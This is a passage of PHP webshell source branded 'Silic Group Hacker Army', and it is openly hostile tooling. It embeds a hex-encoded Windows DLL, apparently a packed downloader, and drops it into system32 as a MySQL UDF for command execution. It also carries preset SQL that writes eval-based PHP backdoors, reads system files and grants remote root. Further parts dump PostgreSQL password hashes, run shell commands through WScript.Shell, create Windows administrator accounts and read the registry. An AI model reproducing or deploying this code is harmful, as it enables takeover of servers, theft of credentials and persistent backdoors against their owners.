B5B8E0392483AAFB9BBB56D904A0064002C204D20086DC9BDB97900632F642F06D74D03FDB5179A4144EE656D626B5B4E6F76C3FE6D930B4F986F0A536570741486A96885416C96711BBEEDF9B941076E6541F369A64D101636172763684665327533BDF7DE7B4A616E0A675F57537BAF7BEF4B47433779433F3B6EA9D0DE3323B03C6418B0ED587B4F5E095468127313D9C15A6157BC7C0C547509B9D9B1C64D251053750743F7DE7BEF3B372F27231F039E73CEB90A11181F262D9C73CEC5AF828990979E72CE39E7A5ACB3BAC1C8A78008047C28BB92975043BD384F296360A9523F4D797371909620A953A636306EC263B50B355A6A09A663B7B921E76A3752C077035C321703ABCF91FB2E746D700FB40600B6472A481D3A2C7EB53D25E4E6FFDB730A2F636D642E657865202F63200068656C55192B75313774073967FF76B6E4380B3006687474703A2F2F8F2DF5FF2ED9632D9B09CAE4C8EBB8F1CABDB4EDCEF3FFC3FE6F120D00CFC2D4D8CAA7B0DC0BCEC4BCFEB3C9B9A6F6DCE6FE21C2B7BEB6A3BA7E175C3F44867B81D10F00200593195731D913199DE4667271F0108DE8832119B2178E180F30434E5146C2F80392017BD894A007010153107C81A4B902011F0264410152476357D9D9070A2F0207743CF2E4C96C084009140A73F01093274F9EC411941270133C79E4C944180C1972E41AAC1B93274F9E741C4C783C796EF2E4C92C7A1CFC18FF86B29317D854DD038572200107402699282048001940269210841002199009810119900119108202601C16023B20EF200D0C050133164DD30C3603070418050D344DD3340609070C0832D82083090A1B0BC1BEF702573B070F575F906EB0101311031217210C32D820350F414336D86083503352175307D860830D575F597B6C17D2344D376DAB20701C72D860DF0BC72F80B3810760830C36821F83848F208334CD91299EA1830D32D8A46FA7B79FCE760EC2601FD70B18070069BEB35D0517C00B1D0490664006968D08644006648E8F9006644006919293CC066140039F78EF4D54EC25FF0204222B6027CF0EF68279822117A6DF07A1A581E9CDF3EF9FE0FC2F407E80FCA8C1A3DAA34F0D72F60881FE0740B577830C812F41B65FCFA2E43E5F21FFA21A00E5A2E8A25B7EA1FE5105BF92DFEE03DA5EDA5F5FDA6ADA32D3D8DEE0B26627B7F939317E430303860064AA432EE99E9C84538B9876840380A6699AA67C7874706C9AA6699A645C54483C34699AA6692824201C18A6699AA614100C08044DD334970075FCF8F0E4DCA6E99E35D42F75CC03C4BC9AA6699AB0A89C908C8849BEA669806C64CD2E821D65BB8C8F905C037F009EF040E82F500B807007F0F11325DCA0D1535499508BDD50C944548CF38CDC97B058592CA7BF06699A0E1EEF3B5A9775A769BAA7B5D4F3E0301AB86CD3034E6D01333AB759699AA6697796B4D3F20CDA74DD272F034D6C01F108A48008368024444144210980D109600064C15B054D734325746554B6CBB7572C0D44656C65466905410A105FDB0C470A0953C5D87393CD2719522C0A23EC4F56C145185661726961622212C0EC7F436C6F736548616E6425F62AD80E4B4A500B63417B7B56686753791D656D4447B7C1B656F5227914744E747515B893FD70496E666F413569704FB1DBD62EA845782A08535D65702CFB36CCFD56657273696F163B896E6754792D67DF856C570F1F4C434D6170115706882E610D1B4D7073ED5BC34279126F65646543688366E5ABA03DFB644F66F34C6FFD8E6B68FF300B746C556E773C3D48D767EDAC7C70416C6C0A46B1FB432D7B9BE16F6D6D09336E7DACB38556982673FB0B790CC580D866E50B56ADB521419C42494D1E263CC3D609630A532740B029DBDACA16AD147215421BC0B64C5B762B78108C8580250B77C5EB8407C4600C542FB998A170B6DA75D3F812DCDD3302524964386C7353F3B3378BDD5575650C4F09DE4BD2258C531D2D471A086D618643427552C93B2463366412A0D50CC363141E4D6F64BDA34E616D6A3B2160BC5F9EE473183004470A0CF3CA6624A3FD08E42CCFF04258164361853B1CFE66BF08506F6990C906C25EF99DFD6B65644465633815C2844D72496E53EB460F3AC1F1EF73684B427566663E6A50ECB136761C0A410B074F454D092C19FE10934164647297EF7D2841BCD93C7155524C440A5BA4668277E3CE1C88F6F6FE340457534153864D00FF0402CBB22CCB17390334090C8D32B62C0B022649F7FF7FAE6D0C10025C000A052F0A5205546417350BDFFEFFFF811912192A060B2A385319310B320D1B806512ED2405670B30100F1CFFFFFFFF1B1B96130B530B1C455405400645171106180A118145110B4C310526530F7D1CFBA5FFFF078B1214050B121B271A1241691A09F04BF83A06F0520103BFFDFF7F0802070F080B06060A18050A1A0E080643125C1B4F59085A0DA37DF66FFF0F16F03001BAF00AF6211775F0C8020400CE2D07E6EDEDBF5F10070708270C0A08300A0608050C050CBFB5FFBB16030813082D1B10060F06070921AE08F04F020E6BBFB5ED061A050F107EA20605060D1D15349BFBF69B2244A6F0ED0120130616070F1810FBFFDBDB091A571362A9850E0B14060E09111C0F12091C230A03FFFFFFBF0C137F0A1CF0F20007194212310C0B0F0AF00302F04D012C0C1C191A0811F6ED5BFB050D05F00549BF05380C0757070A19088EDBADFDDB05663A081A0611190C7113081E0917F6FF0B6F17621806422214320715320A2115242A0E311CF6DF6EFF21250F0F321043CB140E47065B074845E3193539DBDF6EFF0C103F50133E1282260D8E13270F42141E6D157CFBFF6FAA0E13770D251C1374A04D18154A481712E3084B2512842F6C2F47550118EF051D29261A072842EEDE1D4A0604660B1B07161D2A32FFB7B77F7228060C3B0829710D0C234F6039150D3D22084C0F19615BFBFF262E0F20222D143A0726181A0B83A67C56DBFFFF138AF0FB00790C150B2EF0D9011C0D0D13090C32C221B76678E106210A1D081715A919E80B0AFBDF0A0B6E432C0019066F061E1113151EF95068857F10210C120E0F11759647BFF00BCDB85C7EF056011E550F0AC60A89050BFFBFB51F4C35080E1E1D182058163368254605030717FEAD6DFC103D105612F03E01EC48B24F30BD71E1B75B045E2F0F5838EA3C7D3810040CFB76F38301F0B4030408F0AC0A0DF014010417C8915D7E2010108408020800046453203FF0240608041009F92F71E90C9C645045A54C010400B2976A46AA4EF90FE0000E210B0106264B004F26A9244110BDEC3CFB09100F04000700D0B237E982272A0202079B6D7ED81E8D000071C886620285B9650AC0648A002B8CAA4BA744B0100C76F92E7465787446619070E2AD2A6574CD602E7212669D2BC1AB0D5303FB5E73D902402E26CF2427B62919A49090C04F6519EC6B0F7D584FC027A06F6EBF29421B5C881051C489C700000000000000800400FF00807C2408010F85C201000060BE00A000108DBE0070FFFF5783CDFFEB0D9090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9960100008A07472CE83C0177F7803F0A75F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE00C000008B0709C074458B5F048D843000E0000001F35083C708FF9650E00000958A074708C074DC89F979070FB707475047B95748F2AE55FF9654E0000009C07407890383C304EBD86131C0C20C0083C7048D5EFC31C08A074709C074223CEF771101C38B0386C4C1C01086C401F08903EBE2240FC1E010668B0783C702EBE28BAE58E000008DBE00F0FFFFBB0010000050546A045357FFD58D87FF01000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E9C73CFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000000070F0000050F000000000000000000000000000007DF0000060F0000000000000000000000000000088F0000068F00000000000000000000000000000000000000000000092F00000A0F00000B0F0000000000000C0F000000000000073000080000000004B45524E454C33322E444C4C0075726C6D6F6E2E646C6C005753325F33322E646C6C00004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F74656374000055524C446F776E6C6F6164546F46696C65410000000000000000B1976A46000000001EF1000001000000030000000300000000F100000CF1000018F100009010000090150000801000002BF1000031F100003EF100000000010002006D7973716C446C6C2E646C6C0073746174650073746174655F6465696E69740073746174655F696E69740000000000E000000C0000001D360000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
								$query="INSERT into udf_temp values (CONVERT($code,CHAR));";
								if(!mysql_query($query, $link))
								{
									mysql_query('DROP TABLE udf_temp', $link) or die(mysql_error());
									die('dll'.mysql_error());
								}
								else
								{
									$dllname = "mysqlDll.dll";
									if(file_exists("c:\\windows\\system32\\")) $dir="c:\\\\windows\\\\system32\\\\mysqlDll.dll";
									elseif(file_exists("c:\\winnt\\system32\\")) $dir="c:\\\\winnt\\\\system32\\\\mysqlDll.dll";
									if(file_exists($dir)) {
										$time = time();
										$dir = str_replace("mysqlDll","mysqlDll_$time",$dir);
										$dllname = str_replace("mysqlDll","mysqlDll_$time",$dllname);
									}
									$query = "SELECT udf FROM udf_temp INTO DUMPFILE '".$dir."';" ;
									if(!mysql_query($query, $link))
									{
										die(":$dir".mysql_error());
									}
									else
									{
										echo '<font style=font:11pt color=ff0000>'.$dir.'</font><br>';
									}
								}
								mysql_query('DROP TABLE udf_temp', $link) or die(mysql_error());
								$result = mysql_query("Create Function state returns string soname '$dllname'", $link) or die(mysql_error());
								if($result) {
									echo "<br><a href='?'></a>";
									exit();
								}
							}
					}
					$ss=stripslashes($post_sql);
					print<<<END
<form method="post" action="?s=n&o=tq">
<textarea name="post_sql" style="width:700px;height:200px;">{$ss}</textarea><br>
<input name="install" type="submit" value="DLL"> <input name="" type="submit" value="CMD"><br></form>
END;
					if ($_POST[post_sql]) {
						$link = mysql_connect ($mhost,$muser,$mpass) or die(mysql_error());
						if($mdata) mysql_select_db($mdata,$link) or die(mysql_error());
						$query = stripslashes($post_sql);
						$result = mysql_query($query, $link)  or die(mysql_error());
						echo "<br><textarea name=\"post_sql\" style=\"width:700px;height:200px;\">";
						echo ($result) ? "Done:$result\n\n" : "error:$result\n\n ".mysql_error();
						while ($row =  @mysql_fetch_array ($result)) {
							print_r ($row);
						}
					}
					echo "</textarea>";
				}
				else
				{
					if(!empty($_POST['msql']))
					{
						$msql = $_POST['msql'];
						if($result = @mysql_query($msql,$conn))
						{
							$MSG_BOX = 'SQL<br>';
							$k = 0;
							while($row = @mysql_fetch_array($result)){$MSG_BOX .= $row[$k];$k++;}
						}
						else $MSG_BOX .= mysql_error();
					}
					print<<<END
<script language="javascript">
function nFull(i){
	Str = new Array(11);
	Str[0] = "select version();";
	Str[1] = "select load_file(0x633A5C5C626F6F742E696E69) FROM user into outfile 'D://a.txt'";
	Str[2] = "select '<?php eval(\$_POST[cmd]);?>' into outfile 'F://a.php';";
	Str[3] = "GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;";
	nform.msql.value = Str[i];
	return true;
}
</script>
<textarea name="msql" style="width:700px;height:200px;">{$msql}</textarea></div>
<div class="actall">
<select onchange="return nFull(options[selectedIndex].value)">
	<option value="0" selected></option>
	<option value="1"></option>
	<option value="2"></option>
	<option value="3"></option>
</select>
<input type="submit" value="" style="width:80px;">
END;
				}
				if($MSG_BOX != '') echo '</div><div class="actall">'.$MSG_BOX.'</div></center></form>';
				else echo '</div></center></form>';
				return true;
		}
		//MYSQL
		function Mysql_Len($data,$len)
		{
			if(strlen($data) < $len) return $data;
			return substr_replace($data,'...',$len);
		}
		function Mysql_Msg()
		{
			$conn = @mysql_connect($_COOKIE['m_silichost'].':'.$_COOKIE['m_silicport'],$_COOKIE['m_silicuser'],$_COOKIE['m_silicpass']);
			if($conn)
			{
				print<<<END
<script language="javascript">
function Delok(msg,gourl)
{
	smsg = "[" + unescape(msg) + "]?";
	if(confirm(smsg)){window.location = gourl;}
}
function Createok(ac)
{
	if(ac == 'a') document.getElementById('nsql').value = 'CREATE TABLE name (spider BLOB);';
	if(ac == 'b') document.getElementById('nsql').value = 'CREATE DATABASE name;';
	if(ac == 'c') document.getElementById('nsql').value = 'DROP DATABASE name;';
	return false;
}
</script>
END;
				$BOOL = false;
				$MSG_BOX = ':'.$_COOKIE['m_silicuser'].' &nbsp;&nbsp;&nbsp;&nbsp; :'.$_COOKIE['m_silichost'].':'.$_COOKIE['m_silicport'].' &nbsp;&nbsp;&nbsp;&nbsp; :';
				$k = 0;
				$result = @mysql_query('select version();',$conn);
				while($row = @mysql_fetch_array($result)){$MSG_BOX .= $row[$k];$k++;}
				echo '<div class="actall"> :';
				$result = mysql_query("SHOW DATABASES",$conn);
				while($db = mysql_fetch_array($result)){echo '&nbsp;&nbsp;[<a href="?s=r&db='.$db['Database'].'">'.$db['Database'].'</a>]';}
				echo '</div>';
				if(isset($_GET['db']))
				{
					mysql_select_db($_GET['db'],$conn);
					if(!empty($_POST['nsql'])){$BOOL = true; $MSG_BOX = mysql_query($_POST['nsql'],$conn) ? '' : ' '.mysql_error();}
					if(is_array($_POST['insql']))
					{
						$query = 'INSERT INTO '.$_GET['table'].' (';
						foreach($_POST['insql'] as $var => $key)
						{
							$querya .= $var.',';
							$queryb .= '\''.addslashes($key).'\',';
						}
						$query = $query.substr($querya, 0, -1).') VALUES ('.substr($queryb, 0, -1).');';
						$MSG_BOX = mysql_query($query,$conn) ? '' : ' '.mysql_error();
					}
					if(is_array($_POST['upsql']))
					{
						$query = 'UPDATE '.$_GET['table'].' SET ';
						foreach($_POST['upsql'] as $var => $key)
						{
							$queryb .= $var.'=\''.addslashes($key).'\',';
						}
						$query = $query.substr($queryb, 0, -1).' '.base64_decode($_POST['wherevar']).';';
						$MSG_BOX = mysql_query($query,$conn) ? '' : ' '.mysql_error();
					}
					if(isset($_GET['del']))
					{
						$result = mysql_query('SELECT * FROM '.$_GET['table'].' LIMIT '.$_GET['del'].', 1;',$conn);
						$good = mysql_fetch_assoc($result);
						$query = 'DELETE FROM '.$_GET['table'].' WHERE ';
						foreach($good as $var => $key){$queryc .= $var.'=\''.addslashes($key).'\' AND ';}
						$where = $query.substr($queryc, 0, -4).';';
						$MSG_BOX = mysql_query($where,$conn) ? '' : ' '.mysql_error();
					}
					$action = '?s=r&db='.$_GET['db'];
					if(isset($_GET['drop'])){$query = 'Drop TABLE IF EXISTS '.$_GET['drop'].';';$MSG_BOX = mysql_query($query,$conn) ? '' : ' '.mysql_error();}
					if(isset($_GET['table'])){$action .= '&table='.$_GET['table'];if(isset($_GET['edit'])) $action .= '&edit='.$_GET['edit'];}
					if(isset($_GET['insert'])) $action .= '&insert='.$_GET['insert'];
					echo '<div class="actall"><form method="POST" action="'.$action.'">';
					echo '<textarea name="nsql" id="nsql" style="width:500px;height:50px;">'.$_POST['nsql'].'</textarea> ';
					echo '<input type="submit" name="querysql" value="" style="width:60px;height:49px;"> ';
					echo '<input type="button" value="" style="width:60px;height:49px;" onclick="Createok(\'a\')"> ';
					echo '<input type="button" value="" style="width:60px;height:49px;" onclick="Createok(\'b\')"> ';
					echo '<input type="button" value="" style="width:60px;height:49px;" onclick="Createok(\'c\')"></form></div>';
					echo '<div class="msgbox" style="height:40px;">'.$MSG_BOX.'</div><div class="actall"><a href="?s=r&db='.$_GET['db'].'">'.$_GET['db'].'</a> ---> ';
					if(isset($_GET['table']))
					{
						echo '<a href="?s=r&db='.$_GET['db'].'&table='.$_GET['table'].'">'.$_GET['table'].'</a> ';
						echo '[<a href="?s=r&db='.$_GET['db'].'&insert='.$_GET['table'].'"></a>]</div>';
						if(isset($_GET['edit']))
						{
							if(isset($_GET['p'])) $atable = $_GET['table'].'&p='.$_GET['p']; else $atable = $_GET['table'];
							echo '<form method="POST" action="?s=r&db='.$_GET['db'].'&table='.$atable.'">';
							$result = mysql_query('SELECT * FROM '.$_GET['table'].' LIMIT '.$_GET['edit'].', 1;',$conn);
							$good = mysql_fetch_assoc($result);
							$u = 0;
							foreach($good as $var => $key)
							{
								$queryc .= $var.'=\''.$key.'\' AND ';
								$type = @mysql_field_type($result, $u);
								$len = @mysql_field_len($result, $u);
								echo '<div class="actall">'.$var.' <font color="#FF0000">'.$type.'('.$len.')</font><br><textarea name="upsql['.$var.']" style="width:600px;height:60px;">'.htmlspecialchars($key).'</textarea></div>';
								$u++;
							}
							$where = 'WHERE '.substr($queryc, 0, -4);
							echo '<input type="hidden" id="wherevar" name="wherevar" value="'.base64_encode($where).'">';
							echo '<div class="actall"><input type="submit" value="Update" style="width:80px;"></div></form>';
						}
						else
						{
							$query = 'SHOW COLUMNS FROM '.$_GET['table'];
							$result = mysql_query($query,$conn);
							$fields = array();
							$row_num = mysql_num_rows(mysql_query('SELECT * FROM '.$_GET['table'],$conn));
							if(!isset($_GET['p'])){$p = 0;$_GET['p'] = 1;} else $p = ((int)$_GET['p']-1)*20;
							echo '<table border="0"><tr>';
							echo '<td class="toptd" style="width:70px;" nowrap></td>';
							while($row = @mysql_fetch_assoc($result))
							{
								array_push($fields,$row['Field']);
								echo '<td class="toptd" nowrap>'.$row['Field'].'</td>';
							}
							echo '</tr>';
							if(eregi('WHERE|LIMIT',$_POST['nsql']) && eregi('SELECT|FROM',$_POST['nsql'])) $query = $_POST['nsql']; else $query = 'SELECT * FROM '.$_GET['table'].' LIMIT '.$p.', 20;';
							$result = mysql_query($query,$conn);
							$v = $p;
							while($text = @mysql_fetch_assoc($result))
							{
								echo '<tr><td><a href="?s=r&db='.$_GET['db'].'&table='.$_GET['table'].'&p='.$_GET['p'].'&edit='.$v.'">  </a> ';
								echo '<a href="#" onclick="Delok(\'\',\'?s=r&db='.$_GET['db'].'&table='.$_GET['table'].'&p='.$_GET['p'].'&del='.$v.'\');return false;">  </a></td>';
								foreach($fields as $row){echo '<td>'.nl2br(htmlspecialchars(Mysql_Len($text[$row],500))).'</td>';}
								echo '</tr>'."\r\n";$v++;
							}
							echo '</table><div class="actall">';
							for($i = 1;$i <= ceil($row_num / 20);$i++){$k = ((int)$_GET['p'] == $i) ? '<font color="#FF0000">'.$i.'</font>' : $i;echo '<a href="?s=r&db='.$_GET['db'].'&table='.$_GET['table'].'&p='.$i.'">['.$k.']</a> ';}
							echo '</div>';
						}
					}
					elseif(isset($_GET['insert']))
					{
						echo '<a href="?s=r&db='.$_GET['db'].'&table='.$_GET['insert'].'">'.$_GET['insert'].'</a></div>';
						$result = mysql_query('SELECT * FROM '.$_GET['insert'],$conn);
						$fieldnum = @mysql_num_fields($result);
						echo '<form method="POST" action="?s=r&db='.$_GET['db'].'&table='.$_GET['insert'].'">';
						for($i = 0;$i < $fieldnum;$i++)
						{
							$name = @mysql_field_name($result, $i);
							$type = @mysql_field_type($result, $i);
							$len = @mysql_field_len($result, $i);
							echo '<div class="actall">'.$name.' <font color="#FF0000">'.$type.'('.$len.')</font><br><textarea name="insql['.$name.']" style="width:600px;height:60px;"></textarea></div>';
						}
						echo '<div class="actall"><input type="submit" value="Insert" style="width:80px;"></div></form>';
					}
					else
					{
						$query = 'SHOW TABLE STATUS';
						$status = @mysql_query($query,$conn);
						while($statu = @mysql_fetch_array($status))
						{
							$statusize[] = $statu['Data_length'];
							$statucoll[] = $statu['Collation'];
						}
						$query = 'SHOW TABLES FROM '.$_GET['db'].';';
						echo '</div><table border="0"><tr>';
						echo '<td class="toptd" style="width:550px;">  </td>';
						echo '<td class="toptd" style="width:80px;">  </td>';
						echo '<td class="toptd" style="width:130px;">  </td>';
						echo '<td class="toptd" style="width:70px;">  </td></tr>';
						$result = @mysql_query($query,$conn);
						$k = 0;
						while($table = mysql_fetch_row($result))
						{
							echo '<tr><td><a href="?s=r&db='.$_GET['db'].'&table='.$table[0].'">'.$table[0].'</a></td>';
							echo '<td><a href="?s=r&db='.$_GET['db'].'&insert='.$table[0].'">  </a> <a href="#" onclick="Delok(\''.$table[0].'\',\'?s=r&db='.$_GET['db'].'&drop='.$table[0].'\');return false;">  </a></td>';
							echo '<td>'.$statucoll[$k].'</td><td align="right">'.File_Size($statusize[$k]).'</td></tr>'."\r\n";
							$k++;
						}
						echo '</table>';
					}
				}
			}
			else die('MYSQL,.<meta http-equiv="refresh" content="0;URL=?s=o">');
			if(!$BOOL) echo '<script type="text/javascript">document.getElementById(\'nsql\').value = \''.addslashes($query).'\';</script>';
			return false;
		}
		//PostgreSQL
		function Pgr_sql()
		{
			$pghost=$_POST['pghost'] ? $_POST['pghost']:'';
			$pgport=$_POST['pgport'] ? $_POST['pgport']:'';
			$pguser=$_POST['pguser'] ? $_POST['pguser']:'postgres';
			$pgpass=$_POST['pgpass'] ? $_POST['pgpass']:'';
			$pgdb=$_POST['pgdb'] ? $_POST['pgdb']:'postgres';
			$pgquery=$_POST['pgsql'] ? $_POST['pgsql']:'select version()';
			$pgquery=stripslashes($pgquery);
			print<<<END
<script language="javascript">
function pgFull(i){
Str = new Array(6);
Str[0] = "select version();";
Str[1] = "select datname from pg_database;";
Str[2] = "select DISTINCT table_name from information_schema.columns where table_schema !='information_schema' limit 1 offset n;";
Str[3] = "select column_name from information_schema.columns where table_name='xxx' limit 1 offset n;";
Str[4] = "select usename,passwd from pg_shadow;";
Str[5] = "select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));";
pgform.pgsql.value = Str[i];
return true;
}
</script>
<div class="actall">
<!--SQL-->
<p style="font-size:10pt;font-family:Lucida Handwriting,Times New Roman;">
<br>
SQLPostgreSQL 8.1<br>
<br>
select relname from pg_stat_user_tables limit 1 offset n;<br>
PostgreSQL<a href="http://nana.blackbap.org/?p=archive&id=55" target="_blank">[]</a><br><hr></p>
<form name="pgform" method="POST" action="?s=pq">
:<input type="text" name="pghost" value="{$pghost}" style="width:100px">
:<input type="text" name="pguser" value="{$pguser}" style="width:100px">
:<input tyoe="text" name="pgpass" value="{$pgpass}" style="width:100px">
:<input type="text" name="pgdb" value="{$pgdb}" style="width:100px"><br><br>
<textarea name="pgsql" style="width:600px;height:200px;">{$pgquery}</textarea><br>
<input type="text" name="pgport" value="{$pgport}" style="width:50px">
<select onchange="return pgFull(options[selectedIndex].value)">
<option value="0" selected></option>
<option value="1"></option>
<option value="2"></option>
<option value="3"></option>
<option value="4">hashes</option>
<option value="5">pg_hb.conf</option>
</select>
<input type="hidden" name="sql" value="YoCo Smart">
<input type="submit" value="SQL">
<font style="font-size:10pt;">&nbsp;&nbsp;<a href="http://blackbap.org" target="_blank">Silic Group Hacker Army</a>&copy;2009-2012</font></form>
<!--SQL-->
END;
			if(!empty($pghost) && !empty($pgport)){
				$conn="host=".$pghost." port=".$pgport." dbname=".$pgdb." user=".$pguser." password=".$pgpass;
			}else{
				$conn="dbname=".$pgdb." user=".$pguser." password=".$pgpass;
			}
			if(!empty($_POST['sql'])){
				$pgconn = pg_connect($conn)
				or die(':'.pg_last_error());
				$pgresult=pg_query($pgquery) or die('SQL:<br>'.pg_last_error());
				$pgrow=pg_fetch_row($pgresult);
				echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">'."\n<tr>\n";
				for ($i=0; $i< pg_num_fields($pgresult); $i++)
				{echo '<td><b>'.pg_field_name($pgresult, $i)."</b></td>\n";}
				echo "</tr>\n";
				pg_result_seek($pgresult, 0);
				while ($pgrow=pg_fetch_row($pgresult))
				{
					echo "<tr>\n";
					for ($i=0; $i<pg_num_fields($pgresult); $i++ )
					{echo '<td>'."$pgrow[$i]".'</td>';}
					echo "</tr>\n";
				}
				echo "</table>\n"."</font>";
				pg_free_result($pgresult);
				pg_close();
			}
			echo "</div>";
		}
		function Mysql_o()
		{
			ob_start();
			if(isset($_POST['mhost']) && isset($_POST['mport']) && isset($_POST['muser']) && isset($_POST['mpass']))
			{
				if(@mysql_connect($_POST['mhost'].':'.$_POST['mport'],$_POST['muser'],$_POST['mpass']))
				{
					$cookietime = time() + 24 * 3600;
					setcookie('m_silichost',$_POST['mhost'],$cookietime);
					setcookie('m_silicport',$_POST['mport'],$cookietime);
					setcookie('m_silicuser',$_POST['muser'],$cookietime);
					setcookie('m_silicpass',$_POST['mpass'],$cookietime);
					die(',...<meta http-equiv="refresh" content="0;URL=?s=r">');
				}
			}
			print<<<END
<form method="POST" name="oform" id="oform" action="?s=o">
<div class="actall"> <input type="text" name="mhost" value="localhost" style="width:300px"></div>
<div class="actall"> <input type="text" name="mport" value="3306" style="width:300px"></div>
<div class="actall"> <input type="text" name="muser" value="root" style="width:300px"></div>
<div class="actall"> <input type="text" name="mpass" value="" style="width:300px"></div>
<div class="actall"><input type="submit" value="" style="width:80px;"> <input type="button" value="COOKIE" style="width:80px;" onclick="window.location='?s=r';"></div>
</form>
END;
			ob_end_flush();
			return true;
		}
		function zipact()
		{
			$zfile=$_POST['zfile'] ? $_POST['zfile']:'php.zip';
			$jypt=$_POST['jypt'] ? $_POST['jypt']:'./';
			$tip="";
			if($_POST['zip']=='zip'){
				if(function_exists(zip_open)){
					$zfile=key_exists('zip', $_GET) && $_GET['zip']?$_GET['zip']:$zfile;
					$zfile= str_replace(array(dirname(__FILE__)."/",dirname(__FILE__)."\\"),array("",""),$zfile);
					$zpath=str_replace('\\','/',dirname(__FILE__)).'/'.$zfile;
					if(!is_file($zpath)){$tip='"'.$zpath.'"!';}else{
						$zip= new ZipArchive();
						$rs=$zip->open($zpath);
						if($rs !== TRUE){$tip=':'.$rs;}
						$zip->extractTo($jypt);
						$zip->close();
						$tip=$zfile.'!';}
				}else{$tip="PHP_ZIP,";}
			}
			print<<<END
<div class="actall">
<form action="?s=za" method="POST">
<input type="hidden" name="zip" id="zip" value="zip">
PHPzip_openZIP<br>
<b><a href="?s=f"></a></b>php_zip<br>
 :-(<br>
<br><br>
<br>
<input type="text" name="zfile" id="zfile" value="{$zfile}" style="width:720px;"><br><br>

<input type="text" name="jypt" id="jypt" value="{$jypt}" style="width:720px;"><br><br>
<input type="submit" value="" style="width:80px;"><br><br><br>
{$tip}<br><br><br></form></div>
END;
		}
		//Windows
		function winshell()
		{
			$nop='&nbsp;&nbsp;';
			if($_GET['winshell']=='wscript'){
				$wcmd=$_POST['wcmd'] ? $_POST['wcmd']:'net user';
				$wcpth=$_POST['wcpth'] ? $_POST['wcpth']:'cmd.exe';
				print<<<END
<div class="actall">
<form action="?s=jk&winshell=wscript" method="POST">
<input type="hidden" name="do" id="do" value="do"><br>
{$nop}<input type="text" name="wcmd" id="wcmd" value="{$wcpth}" style="width:300px;"> -&gt; CMD<br />
{$nop}<input type="text" name="wcmd" id="wcmd" value="{$wcmd}" style="width:300px;"> <input type="submit" value="" style="width:80px;">
<br><br><br></form></div>
END;
if($_POST['do']=='do'){
	$ww=$wcpth." /c ".$wcmd;
	$phpwsh=new COM("Wscript.Shell") or die("Shell.Wscript");
	$phpexec=$phpwsh->exec($ww);
	$execoutput=$wshexec->stdout();
	$result=$execoutput->readall();
	echo $result;
	@$phpwsh->Release();
	$phpwsh=NULL;
}
			}elseif($_GET['winshell']=='shelluser'){
				$wuser=$_POST['wuser'] ? $_POST['wuser']:'silic';
				$wpasw=$_POST['wpasw'] ? $_POST['wpasw']:'1234@silic#';
				print<<<END
<div class="actall">
<form action="?s=jk&winshell=shelluser" method="POST">
<input type="hidden" name="do" id="do" value="do"><br>
Shell.Users<br><br>
{$nop}<input type="text" name="wuser" id="wuser" value="{$wuser}" style="width:100px;"><br>
{$nop}<input type="text" name="wpasw" id="wpasw" value="{$wpasw}" style="width:100px;"><br><br>
<input type="submit" value="" style="width:80px;">
<br><br><br></form></div>
END;
if($_POST['do']='do'){
	$shell = new COM("Shell.Users");
	$cmd = $shell->create($wuser);
	$cmd->changePassword($wpasw,"");
	$cmd->setting["AccountType"] = 3;
}
			}elseif($_GET['winshell']=='regedit'){
				$regpath=$_POST['regpath'] ? $_POST['regpath']:'HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp\\PortNumber';
				print<<<END
<div class="actall">
<form action="?s=jk&winshell=regedit" method="POST">
<input type="hidden" name="do" id="do" value="do"><br>
RegRead()(Shell.Wscript)<br><br>
<br>
{$nop}<input type="text" name="regpath" id="regpath" value="{$regpath}" style="width:720px;"><br><br>
<input type="submit" value="" style="width:80px;">
<br><br><br></form></div>
END;
if($_POST['do']=='do'){
	$shell = new COM("WScript.Shell") or die("Shell.Wscript");
	try{$registry_proxystring = $shell->RegRead($regpath);}
	catch(Exception $e){echo ': '.$e->getMessage();}
	echo $registry_proxystring;
}
			}else{
				$tip="<br>WebshellWindows<br>PHP<br></h5><br><br><br>";
				print<<<END
<div class="actall"><pre>
<br><a href="?s=jk&winshell=wscript"> [ WScript ] </a><br><br>
<h5>PHPWindowsWscript<br>
Wscriptcmd<br>{$tip}<a href="?s=jk&winshell=shelluser"> [ Shell.User ] </a><br><br>
<h5>PHPWindowsShell.user<br>
USERWindows<br>{$tip}<a href="?s=jk&winshell=regedit"> [  ] </a><br><br>
<h5>PHPWindowsShell.Wscript<br>
RegRead()<br>{$tip}</pre></div>
END;
			}
		}
		/****/
		if($_GET['s'] == 'logout'){
			setcookie('admin_silicpass',NULL);
			die('<meta http-equiv="refresh" content="0;URL=?">');
		}elseif($_GET['s'] == 'ch'){
			$oldps=md5(md5(md5(trim($salt.$_POST['oldps']))));
			$newps=base64_encode(base64_decode('JHBhc3N3b3JkPSI=').md5(md5(md5(trim($salt.$_POST['newps'])))).base64_decode('Ijs='));
			print<<<END
<div class="actall"><form action="?s=ch" method="POST">
<input type="hidden" name="ch" id="ch" value="ch"><br>
* (!)<br>
* <a href="http://blackbap.org" _target"_blank">Silic Group</a>SpiderSpider<br>
* MD5+Saltsession<br>
* FTP,,Shellcodebug<br>
* Silic Group Hacker Army - ,,,<br>
* <a href="http://blackbap.org" target="_blank">BlackBap.Org</a><br><br>
<input type="text" name="oldps" id="oldps" value="" style="width:120px;"><br />
<input type="text" name="newps" id="newps" value="" style="width:120px;"><br>
<input type="submit" value="" style="width:80px;">
<br><br><br></form></div>
END;
